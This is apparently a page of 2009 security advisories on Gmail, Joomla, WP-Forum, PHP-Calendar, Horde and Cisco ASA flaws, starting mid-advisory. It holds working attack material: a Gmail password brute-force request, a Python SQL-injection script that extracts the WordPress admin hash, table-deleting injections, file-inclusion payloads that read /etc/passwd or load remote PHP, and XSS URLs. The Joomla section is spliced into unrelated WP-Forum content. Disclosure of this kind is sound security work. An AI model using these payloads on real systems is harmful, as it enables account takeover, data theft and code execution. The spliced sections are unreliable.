3. The application returns the message "You have reached the maximum number of accounts allowed". This situation appears after adding more than 5 email accounts or after doing 100 requests (successfully or not) for adding a new account. Is important to notice that, after the 100 attempts, the user must wait for 2 hours.

Using this, an attacker is able to do 100 attempts of authentication each 2 hours (so 1.200 attempts each day).

Is very important to retain that those requests do not require any kind of catpcha and can be done automatically knowing only the key parameters of the request:

-ik: alphanumeric id associated to the user and transmitted through GET request.
-GMAIL_AT: is an alphanumeric value associated to the user and transmitted in the cookie. It is only known after authentication and starts with characters "xn3j3".
-GX: alphanumeric value associated to the user and transmitted in the cookie. It is only known after authentication.
-ui: numeric value. Can be fixed to value "2" (default value) and is transmitted via GET.
-view: string value. Can be fixed to string "ma" (default value) and is transmitted via GET.
-map: numeric value. Can be fixed to value "2" (default value) and is transmitted via POST.
-ma_email: email address of the account to be added. Would match to the victim email address and is transmitted via POST.
-mapc: boolean value. Can be fixed to value "true" (default value) and is transmitted via POST.
-mapp: numeric value. Can be fixed to value "1" (default value) and is transmitted via POST.
-mabb: this parameter can be nul (default value) and is transmitted via POST.
-at: is the alphanumeric value associated to the user that must match with be value of the variable GMAIL_AT previously explained. This value is transmitted via POST.
-ma_user: email address of the account from which the new email address wanted be added. Is the attacker email address and is transmitted via POST.
-ma_pwd: password to be used for the victim account. Is transmitted via POST.
-ma_host: IP address of the POP3 server. Can be fixed to value "pop.gmail.com" and is transmitted via POST.
-ma_host_sel: IP address of the POP3 server. Can be fixed to value "pop.gmail.com" and is transmitted via POST.
-ma_port: is the value of the port of the POP3 server. Can be fixed to value "995" (defalt value) and is transmitted via POST.
-ma_ssl: can be fixed to string "on" (default value) and is transmitted via POST.
-ma_lbl: is the name of the label that will be used for labelling incoming emails. Can be fixed to the victim email address (default value) and is transmitted via POST.

Summarizing, the POST request for the authentication attack would be like this:

POST http://mail.google.com/mail/?ui=2&ik=<ik_value>&view=ma HTTP/1.1
Cookie: GX=<GX_value>; GMAIL_AT=<GMAIL_AT_value>
map=2&ma_email=<victim_email>&mapc=true&mapp=1&mabb=&at=<at_value>&ma_user=<attacker_email>&
ma_pwd=<victim_pwd>&ma_host=pop.gmail.com&ma_host_sel=pop.gmail.com&ma_port=995&ma_ssl=on&ma_lbl=<email_victim>

BUSINESS IMPACT

Capability of unlimited password cracking Gmail user accounts.
Selective DoS on users of the Gmail service (changing user password).

SYSTEMS AFFECTED

Gmail service.

SOLUTION

Correct the present flow of this capability.

REFERENCES

http://www.gmail.com
http://www.isecauditors.com

CREDITS

This vulnerability has been discovered and reported Vicente Aguilera Diaz (vaguilera (at) isecauditors (dot) com).

REVISION HISTORY

July 07, 2009: Initial release.
July 13, 2009: Minor revision.
July 17, 2009: Last update.

DISCLOSURE TIMELINE

July 05, 2009: Discovered by Internet Security Auditors.
July 13, 2009: Gmail security team contacted.
July 15, 2009: Request for confirmation of reception and analysis.
July 17, 2009: Answer from Google telling 100 attemp control limit is enough robust, although the advisory poc shows how to evade this weak security control. Publication of the advisory in the lists.

LEGAL NOTICES

The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Internet Security Auditors accepts no responsibility for any damage caused by the use or misuse of this information.

2009-009: Joomla! < 1.5.13 Multiple Full Path Disclosure vulnerabilities

Original release date: July 21st, 2009
Last revised: July 23rd, 2009
Discovered by: Juan Galiana Lara
Severity: 5/10 (CVSS Base Score)

BACKGROUND

The attacker can get the full path of the instalation of Joomla! browsing to any of this urls:

DESCRIPTION

This vulnerability could allow a malicious user to view the internal path information of the host due to some files were missing the check for JEXEC.

PROOF OF CONCEPT

The attacker can get the full path of the instalation of Joomla! browsing to any of this urls:

http://example.com/joomla-1.5.12/libraries/joomla/utilities/compat/php50...
http://example.com/joomla-1.5.12/libraries/joomla/client/ldap.php
http://example.com/joomla-1.5.12/libraries/joomla/html/html/content.php

In the case of the Blind SQL Injection, the vulnerable code is...

In wpf-post.php file:

57 $id = $_GET['id']; // <- $_GET['id'] is directly assigned
58 $thread = $this->check_parms($_GET['t']);
59
60 $out .= $this->header();
61
62 $post = $wpdb->get_row("SELECT * FROM $wpforum->t_posts WHERE id = $id"); // <- id is used without clean up

Other example:

1490 function remove_post(){
1491 global $user_level, $user_ID, $wpdb;
1492 $id = $_GET['id']; // <- $_GET['id'] is directly assigned
1493 $author = $wpdb->get_var("SELECT author_id from $this->t_posts where id = $id"); // id is used without clean up
...
1503 if($del == "ok"){
1504 $wpdb->query("DELETE FROM $this->t_posts WHERE id = $id"); <- // id is used without clean up
1505 $this->o .= "<div class='updated'>".__("Post deleted", "wpforum")."</div>";
1506 }
1507 else
1508 wp_die(__("Cheating, are we?", "wpforum"));
1509
1510 }

the "id" parameter is vulnerable in other parts of the source code...

Also, is possible to delete all records in table $this->t_posts and $this->t_threads because $_GET['topic'] is not properly sanitized, injecting something like 1 or 1=1

1479 function remove_topic(){
1480 global $user_level, $user_ID, $wpdb;
1481 $topic = $_GET['topic'];
1482 if($this->is_moderator($user_ID, $this->current_forum)){
1483 $wpdb->query("DELETE FROM $this->t_posts WHERE parent_id = $topic");
1484 $wpdb->query("DELETE FROM $this->t_threads WHERE id = $topic");
1485 }
1486 else
1487 wp_die(__("Cheating, are we?", "wpforum"));
1488
1489 }

PROOF OF CONCEPT

In the url: http://example.com/blog/?page_id=3&wpforumaction=search replacing 'page_id=3' parameter with the number of the WP-Forum page in each case.

Is possible to obtain any data of the database. Here is a proof of concept to obtain user_pass, user_login and user_email of the user with id=1 of wp_users table (normally admin).

We have to fill the search_max parameter with the value:

9999 DAY) union select 1,1,1,user_pass,1,1,1 from wp_users where id=1 and subdate(curdate(), interval 9999
9999 DAY) union select 1,1,1,user_login,1,1,1 from wp_users where id=1 and subdate(curdate(), interval 9999
9999 DAY) union select 1,1,1,user_email,1,1,1 from wp_users where id=1 and subdate(curdate(), interval 9999

I wrote a PoC, to get automatically the password hash of the WordPress admin account:

#!/usr/bin/python
# WP-Forum <= 2.3 SQL Injection PoC
# Juan Galiana Lara
# Internet Security Auditors

import urllib
import urllib2
import re

url = 'http://site//wordpress/?page_id=3&wpforumaction=search'
values = {'search_words' : 'any',
'search_submit' : 'Search',
'search_max' : '999 DAY) union select 1,1,1,user_pass,1,1,1
from wp_users where id=1 or SUBDATE(CURDATE(), INTERVAL 9999' }

data = urllib.urlencode(values)
req = urllib2.Request(url, data)
response = urllib2.urlopen(req)
output = response.read()
o = re.search('viewtopic.+>([$].+)<',output)
if o:
print o.group(1)

user@linuz:~$ python wpforum2.3-poc.py
$P$Bn8oMY.T3kHELf/lnn07L3HXgID4go/
user@linuz:~$

That's it!

For the blind sql injection, here are some examples:

http://example.com/blog/?page_id=3&wpforumaction=editpost&id=1%20and%201...
http://example.com/blog/?page_id=3&wpforumaction=editpost&id=1%20and%201...

http://example.com/blog/?page_id=3&wpforumaction=viewforum&f=2.0&delete_...
http://example.com/blog/?page_id=3&wpforumaction=viewforum&f=2.0&delete_...

http://example.com/blog/?page_id=3&wpforumaction=viewtopic&t=1.0&sticky&...
http://example.com/blog/?page_id=3&wpforumaction=viewtopic&t=1.0&sticky&...

Is possible to delete all topics, injecting sql code in "topic" parameter:

http://example.com/blog/?page_id=3&wpforumaction=viewforum&f=1.0&delete_...

BUSINESS IMPACT

Unauthenticated users can obtain or delete any data of the database.
This flaw could result in get access to WordPress accounts including the administrator one.

SYSTEMS AFFECTED

JWP-Forum <= 2.3 are vulnerable.

SOLUTION

Update to version 2.4.

REFERENCES

http://www.fahlstad.se/wp-plugins/wp-forum/
http://www.wordpress.org/
http://www.isecauditors.com

CREDITS

This vulnerability has been discovered and reported by Juan Galiana Lara (jgaliana (at) isecauditors (dot) com).

REVISION HISTORY

September 28, 2009: Initial release.
October 13, 2009: Review.
October 19, 2009: Added CVE id.
December 15, 2009: Last revision.

DISCLOSURE TIMELINE

September 28, 2009: Vulnerability discovered by Internet Security Auditors.
October 13, 2009: Sent to developers. No response.
December 13, 2009: Contact again. Response about its correction.
December 14, 2009: New version published.
December 15, 2009: Advisory released to lists.

LEGAL NOTICES

The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Internet Security Auditors accepts no responsibility for any damage caused by the use or misuse of this information.

2009-011: PHP-Calendar v1.1 'configfile' Remote and Local File Inclusion vulnerability

Original release date: October 13th, 2009
Last revised: December 18th, 2009
Discovered by: Juan Galiana Lara
CVE ID: CVE-2009-3702
Severity: 8.5/10 (CVSS Base Score)

BACKGROUND

PHP-Calendar is a simple web calendar. It is targeted towards groups that need to collaboratively create and track events. In that same collaborative spirit, the source for PHP-Calendar is available under an open source license for anyone to use and modify.

DESCRIPTION

The 'configfile' variable is not properly filtered, and is possible to include arbitrary remote and local files. This attack may lead to the execution of arbitrary code.

The snippet of vulnerable code (part of update08.php and update10.php file):

36 } elseif(!empty($_GET['configfile'])) {
37 if(file_exists($_GET['configfile'])) {
38 require_once($_GET['configfile']);

In order to include remote files, the value 'On' in the allow_url_fopen directive is needed. There are two cases in which it is possible remote code execution due to bypass the file_exists function:

1) If the victim server is running Windows operating system and there is not a firewall filtering outgoing SMB requests, an attacker can use an URL like //servername/path/to/file.php

2) If server is running PHP version > 5.0.0 (the most common) an attacker can use FTP/FTPS protocol for inclusion. Like ftp://servername/path/to/file.php See references for more information.

PROOF OF CONCEPT

For including remote files:

http://site/php-calendar-1.1/update08.php?configfile=//servername/path/t...
http://site/php-calendar-1.1/update08.php?configfile=ftp://guest:pass@si...
http://site/php-calendar-1.1/update10.php?configfile=\\ip\path\to\file.php
http://site/php-calendar-1.1/update10.php?configfile=ftp://site/path/to/...

Local files, this PoC will show the /etc/passwd file:

http://site/php-calendar-1.1/update08.php?configfile=/etc/passwd
http://site/php-calendar-1.1/update10.php?configfile=/etc/passwd

BUSINESS IMPACT

Unauthenticated users can view any local file in the filesystem and could execute arbitrary code remotely.

SYSTEMS AFFECTED

PHP-Calendar version 1.1 is vulnerable, others may be affected.

SOLUTION

Change the code of update08.php (line 38) and update10.php (line 35) in order to filter $_GET['configfile'] variable.

if (ereg('^[a-zA-Z0-9_]+$', $_GET['configfile']))
require_once($_GET['configfile']);

REFERENCES

http://www.php-calendar.com/
http://www.php.net/manual/en/wrappers.ftp.php
http://www.isecauditors.com

CREDITS

This vulnerability has been discovered and reported by Juan Galiana Lara (jgaliana (at) isecauditors (dot) com).

REVISION HISTORY

October 13, 2009: Initial release.
October 19, 2009: Added CVE id.
December 18, 2009: Last revision.

DISCLOSURE TIMELINE

October 13, 2009: Vulnerability discovered by Internet Security Auditors (www.isecauditors.com)
October 13, 2009: Sent to developers. No response.
December 13, 2009: Contact again. No response.
December 18, 2009: Added mitigation solution and sent to lists.

LEGAL NOTICES

The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Internet Security Auditors accepts no responsibility for any damage caused by the use or misuse of this information.

2009-012: Horde 3.3.5 "PHP_SELF" Cross-Site Scripting vulnerability

Original release date: October 13th, 2009
Last revised: December 17th, 2009
Discovered by: Juan Galiana Lara
CVE ID: CVE-2009-3701
Severity: 6.3/10 (CVSS Base Score)

BACKGROUND

The Horde Application Framework is a modular, general-purpose web application framework written in PHP. It provides an extensive array of classes that are targeted at the common problems and tasks involved in developing modern web applications.

DESCRIPTION

Input passed to 'PHP_SELF' variable is not properly filtered before being returned to the user. This can be exploited to inject arbitrary HTML or to execute arbitrary script code in a user's browser session in context of an affected site. In order to successfully exploit this vulnerability the targeted user has to be logged as an administrator.

horde-3.3.5/admin/cmdshell.php:46:<form action="<?php echo $_SERVER['PHP_SELF'] ?>" method="post">
horde-3.3.5/admin/sqlshell.php:29:<form name="sqlshell" action="<?php echo $_SERVER['PHP_SELF'] ?>" method="post">
horde-3.3.5/admin/phpshell.php:42:<form action="<?php echo $_SERVER['PHP_SELF'] ?>" method="post">

In order to filter the "PHP_SELF" variable, the htmlspecialchars function has to be used, like in 'horde-3.3.5/templates/shares/edit.inc' file:

horde-3.3.5/templates/shares/edit.inc:1:<form name="edit" method="post" action="<?php echo
htmlspecialchars ($_SERVER ['PHP_SELF']) ?>">

PROOF OF CONCEPT

This PoC will show an alert with the text "xss":

http://site/horde-3.3.5/admin/phpshell.php/%22%3E%3Cscript%3Ealert%288%2...
http://site/horde-3.3.5/admin/cmdshell.php/%22%3E%3Cscript%3Ealert%288%2...
http://site/horde-3.3.5/admin/sqlshell.php/%22%3E%3Cscript%3Ealert%288%2...

BUSINESS IMPACT

Is possible to execute arbitrary HTML or script code in a targeted user's browser. Only works with administration sessions.

SYSTEMS AFFECTED

Horde 3.3.5 is vulnerable, others may be affected.

SOLUTION

Upgrade to version 3.3.6

REFERENCES

http://www.horde.org/
http://lists.horde.org/archives/announce/2009/000529.html
http://www.isecauditors.com

CREDITS

This vulnerability has been discovered and reported by Juan Galiana Lara (jgaliana (at) isecauditors (dot) com).

REVISION HISTORY

October 13, 2009: Initial release.
October 19, 2009: Added CVE id.
December 13, 2009: Revision.
December 18, 2009: Last revision.

DISCLOSURE TIMELINE

October 13, 2009: Vulnerability discovered by Internet Security Auditors (www.isecauditors.com)
October 13, 2009: Sent to developers. The issue is considered hard to exploit and solution is delayed.
December 13, 2009: Second contact for correction plan.
December 15, 2009: New release published.
December 17, 2009: Sent to public lists.

LEGAL NOTICES

The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Internet Security Auditors accepts no responsibility for any damage caused by the use or misuse of this information.

2009-013: Cisco ASA <= 8.x VPN SSL module Clientless URL-list control bypass

Original release date: October 7th, 2009
Last revised: December 16th, 2009
Discovered by: David Eduardo Acosta Rodriguez
Severity: 4/10 (CVSS Base Score)

BACKGROUND

Cisco VPN SSL [1] is a module for Cisco ASA and Cisco Integrated Services Routers to extend network resources to virtually any remote user with access to the Internet and a web browser.

DESCRIPTION

Cisco VPN SSL Clientless lets administrators define rules to specific targets within the private network that WebVPN users will be able to access. This specific targets are published using links in VPN SSL home page. These links (url) are protected (obfuscated) using a ROT13 substitution[2] and converting ASCII characters to hexadecimal. An user with a valid account and without "URL entry" can access any internal/external resource simply taken an URL, encrypt with ROT 13, convert ASCII characters to hexadecimal and appending this string to Cisco VPN SSL URL.

PROOF OF CONCEPT

Using URL http://intranet published on internal server (not accessible from home page):

1. Convert string to ROT13: uggc://vagenarg
2. Change ASCII chars to HEX: 756767633a2f2f766167656e617267
3. Append string to Cisco VPN SSL: https://[CISCOVPNSSL]/+CSCO+00756767633a2f2f766167656e617267++

This is a simple PoC for easy demostration:

BUSINESS IMPACT

Users with valid account can surf to internal/external resources, bypassing controls in home page.

SYSTEMS AFFECTED

Cisco ASA <= 8.x are vulnerable.

SOLUTION

Always set "webtype" ACL and "filter" to block access in Web VPN SSL (not activated by default). Included in Cisco site now. Follow recommendations from "Cisco Understanding Features Not Supported in Clientless SSL VPN" [3].

REFERENCES

[1] www.cisco.com/web/go/sslvpn
[2] http://en.wikipedia.org/wiki/ROT13
[3] http://www.cisco.com/en/US/docs/security/asa/asa82/configuration/guide/webvpn.html#wp999589
http://tools.cisco.com/security/center/viewAlert.x?alertId=19609
http://www.isecauditors.com

CREDITS

This vulnerability has been discovered by
David Eduardo Acosta Rodríguez (deacosta (at) isecauditors (dot) com, dacosta (at) computer (dot) org).
Thanks to Juan Galiana Lara (jgaliana (at) isecauditors (dot) com)) for additional research.

REVISION HISTORY

December 7, 2009: Initial release.
December 16, 2009: Last revision.

DISCLOSURE TIMELINE

December 9, 2009: Vendor contacted
December 9, 2009: Vendor response, they include our mitigation proposal in their website and start the analysis of correction required.
December 16, 2009: Vendor confirms remediation and public statement.
December 17, 2009: Sent to lists.

LEGAL NOTICES

The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Internet Security Auditors accepts no responsibility for any damage caused by the use or misuse of this information.

Training Partners Oficiales de:				Miembros: